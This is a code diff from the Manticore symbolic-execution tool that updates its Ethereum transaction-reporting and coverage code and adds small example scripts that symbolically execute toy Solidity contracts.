#print "Constraints:"
|
||||
#print state.constraints
|
||||
|
||||
print "BALANCES"
|
||||
for address, account in world.storage.items():
|
||||
if isinstance(account['balance'], Constant):
|
||||
account['balance'] = account['balance'].value
|
||||
|
||||
if issymbolic(account['balance']):
|
||||
m, M = solver.minmax(world.constraints, arithmetic_simplifier(account['balance']))
|
||||
if m == M:
|
||||
print "\t", hex(address), M
|
||||
tx = state.context['tx']
|
||||
def x(expr):
|
||||
if issymbolic(expr):
|
||||
res = state.solve_one(expr)
|
||||
if isinstance(expr, Array):
|
||||
state.constrain(compare_buffers(expr, res))
|
||||
else:
|
||||
print "\t", hex(address), "range:[%x, %x]"%(m,M)
|
||||
else:
|
||||
print "\t", hex(address), account['balance']
|
||||
state.constrain(expr == res)
|
||||
expr=res
|
||||
if isinstance(expr, tuple):
|
||||
expr = ''.join(expr)
|
||||
return expr
|
||||
tx_num = 0
|
||||
for ty, caller, address, value, data in tx:
|
||||
tx_num += 1
|
||||
def consume_type(ty, data, offset):
|
||||
if ty == u'uint256':
|
||||
return '0x'+data[offset:offset+64], offset+32*2
|
||||
elif ty == u'address':
|
||||
return '0x'+data[offset+24:offset+64], offset+32*2
|
||||
elif ty == u'int256':
|
||||
value = int('0x'+data[offset:offset+64],16)
|
||||
mask = 2**(256 - 1)
|
||||
value = -(value & mask) + (value & ~mask)
|
||||
return value, offset+32*2
|
||||
elif ty == u'':
|
||||
return '', offset
|
||||
elif ty in (u'bytes', u'string'):
|
||||
dyn_offset = (4 + int('0x'+data[offset:offset+64],16))*2
|
||||
size = int('0x'+data[dyn_offset:dyn_offset+64],16)
|
||||
return data[dyn_offset+64:dyn_offset+64+size*2],offset+8
|
||||
else:
|
||||
print "<",ty,">"
|
||||
raise NotImplemented
|
||||
|
||||
print "TRANSACTION ", tx_num, '-', ty
|
||||
try:
|
||||
md_name, md_source_code, md_init_bytecode, md_metadata, md_metadata_runtime, md_hashes= self.context['seth']['metadata'][address]
|
||||
except:
|
||||
md_name, md_source_code, md_init_bytecode, md_metadata, md_metadata_runtime, md_hashes = None,None,None,None,None,None
|
||||
|
||||
|
||||
print '\t From: 0x%x'%x(caller)
|
||||
print '\t To: 0x%x'%x(address)
|
||||
print '\t Value: %d wei'%x(value)
|
||||
xdata = x(data).encode('hex')
|
||||
print '\t Data:', xdata
|
||||
if ty == 'CALL':
|
||||
print '\t Function: ',
|
||||
done = False
|
||||
rhashes = dict((hsh, signature) for signature, hsh in md_hashes.iteritems())
|
||||
try:
|
||||
signature = rhashes.get(xdata[:8], '{fallback}()')
|
||||
done = True
|
||||
func_name = signature.split('(')[0]
|
||||
print func_name,'(',
|
||||
types = signature.split('(')[1][:-1].split(',')
|
||||
off = 8
|
||||
for ty in types:
|
||||
if off != 8:
|
||||
print ',',
|
||||
val, off = consume_type(ty, xdata, off)
|
||||
print val,
|
||||
print ')'
|
||||
except Exception,e:
|
||||
print e, xdata
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
def coverage(self, account_address):
|
||||
account_address = int(account_address)
|
||||
#This will just pick one of the running states.
|
||||
#This assumes the code and the accounts are the same in all versions of the world
|
||||
world = self.get_world(self.running_state_ids[0])
|
||||
@@ -411,15 +605,17 @@ class ManticoreEVM(Manticore):
|
||||
UNDERLINE = '\033[4m'
|
||||
|
||||
|
||||
assert ''.join(runtime_bytecode[-44: -34]) =='\x00\xa1\x65\x62\x7a\x7a\x72\x30\x58\x20'
|
||||
assert ''.join(runtime_bytecode[-2:]) =='\x00\x29'
|
||||
end = None
|
||||
if ''.join(runtime_bytecode[-44: -34]) =='\x00\xa1\x65\x62\x7a\x7a\x72\x30\x58\x20' \
|
||||
and ''.join(runtime_bytecode[-2:]) =='\x00\x29':
|
||||
end = -9-33-2
|
||||
|
||||
|
||||
output = ''
|
||||
offset = 0
|
||||
count = 0
|
||||
total = 0
|
||||
for i in evm.EVMDecoder.decode_all(runtime_bytecode[:-9-33-2]) :
|
||||
for i in evm.EVMDecoder.decode_all(runtime_bytecode[:end]) :
|
||||
|
||||
if (account_address, offset) in seen:
|
||||
output += bcolors.OKGREEN
|
||||
|
||||
48
examples/evm/simple_functions.py
Normal file
48
examples/evm/simple_functions.py
Normal file
@@ -0,0 +1,48 @@
|
||||
from seth import *
|
||||
################ Script #######################
|
||||
|
||||
seth = ManticoreEVM()
|
||||
seth.verbosity(0)
|
||||
#And now make the contract account to analyze
|
||||
# cat | solc --bin
|
||||
source_code = '''
|
||||
pragma solidity ^0.4.13;
|
||||
|
||||
contract Test {
|
||||
event Log(string);
|
||||
mapping(address => uint) private balances;
|
||||
|
||||
function Test() {}
|
||||
function target1() public {}
|
||||
function target2() internal {}
|
||||
function target3() private {}
|
||||
function() {}
|
||||
|
||||
}
|
||||
'''
|
||||
#Initialize accounts
|
||||
user_account = seth.create_account(balance=1000)
|
||||
contract_account = seth.solidity_create_contract(source_code, owner=user_account)
|
||||
|
||||
|
||||
symbolic_data = seth.SByte(4)
|
||||
symbolic_value = None
|
||||
seth.transaction( caller=user_account,
|
||||
address=contract_account,
|
||||
value=symbolic_value,
|
||||
data=symbolic_data
|
||||
)
|
||||
|
||||
|
||||
print "[+] There are %d reverted states now"% len(seth.final_state_ids)
|
||||
for state_id in seth.final_state_ids:
|
||||
seth.report(state_id)
|
||||
|
||||
print "[+] There are %d alive states now"% len(seth.running_state_ids)
|
||||
for state_id in seth.running_state_ids:
|
||||
seth.report(state_id)
|
||||
|
||||
print "[+] Global coverage:"
|
||||
print seth.coverage(contract_account)
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@ from seth import *
|
||||
################ Script #######################
|
||||
|
||||
seth = ManticoreEVM()
|
||||
seth.verbosity(0)
|
||||
seth.verbosity(2)
|
||||
#And now make the contract account to analyze
|
||||
# cat | solc --bin
|
||||
source_code = '''
|
||||
@@ -13,11 +13,11 @@ contract Test {
|
||||
mapping(address => uint) private balances;
|
||||
|
||||
function Test(){
|
||||
balances[0x11111111111111111111111111111111] = 10;
|
||||
balances[0x22222222222222222222222222222222] = 20;
|
||||
balances[0x33333333333333333333333333333333] = 30;
|
||||
balances[0x44444444444444444444444444444444] = 40;
|
||||
balances[0x55555555555555555555555555555555] = 50;
|
||||
balances[0x1111111111111111111111111111111111111111] = 10;
|
||||
balances[0x2222222222222222222222222222222222222222] = 20;
|
||||
balances[0x3333333333333333333333333333333333333333] = 30;
|
||||
balances[0x4444444444444444444444444444444444444444] = 40;
|
||||
balances[0x5555555555555555555555555555555555555555] = 50;
|
||||
}
|
||||
|
||||
function target(address key) returns (bool){
|
||||
@@ -29,20 +29,17 @@ contract Test {
|
||||
|
||||
}
|
||||
'''
|
||||
#Initialize accounts
|
||||
user_account = seth.create_account(balance=1000)
|
||||
contract_account = seth.solidity_create_contract(source_code, owner=user_account)
|
||||
|
||||
#Initialize contract
|
||||
bytecode = seth.compile(source_code)
|
||||
contract_account = seth.create_contract(owner=user_account,
|
||||
balance=0,
|
||||
init=bytecode)
|
||||
|
||||
symbolic_data = seth.SByte(64)
|
||||
symbolic_value = None
|
||||
symbolic_value = 0
|
||||
seth.transaction( caller=user_account,
|
||||
address=contract_account,
|
||||
value=symbolic_value,
|
||||
data=symbolic_data,
|
||||
address=contract_account,
|
||||
value=symbolic_value,
|
||||
data=symbolic_data
|
||||
)
|
||||
|
||||
|
||||
|
||||
43
examples/evm/simple_transaction.py
Normal file
43
examples/evm/simple_transaction.py
Normal file
@@ -0,0 +1,43 @@
|
||||
from seth import *
|
||||
################ Script #######################
|
||||
|
||||
seth = ManticoreEVM()
|
||||
seth.verbosity(0)
|
||||
#And now make the contract account to analyze
|
||||
# cat | solc --bin
|
||||
source_code = '''
|
||||
pragma solidity ^0.4.13;
|
||||
|
||||
contract Test {
|
||||
event Log(string);
|
||||
|
||||
function target() payable public {
|
||||
if (msg.value > 10)
|
||||
Log("Value greater than 10");
|
||||
else
|
||||
Log("Value less or equal than 10");
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
'''
|
||||
#Initialize accounts
|
||||
user_account = seth.create_account(balance=1000)
|
||||
contract_account = seth.solidity_create_contract(source_code, owner=user_account)
|
||||
|
||||
|
||||
contract_account.target(value=seth.SValue)
|
||||
|
||||
|
||||
print "[+] There are %d reverted states now"% len(seth.final_state_ids)
|
||||
for state_id in seth.final_state_ids:
|
||||
seth.report(state_id)
|
||||
|
||||
print "[+] There are %d alive states now"% len(seth.running_state_ids)
|
||||
for state_id in seth.running_state_ids:
|
||||
seth.report(state_id)
|
||||
|
||||
print "[+] Global coverage:"
|
||||
print seth.coverage(contract_account)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user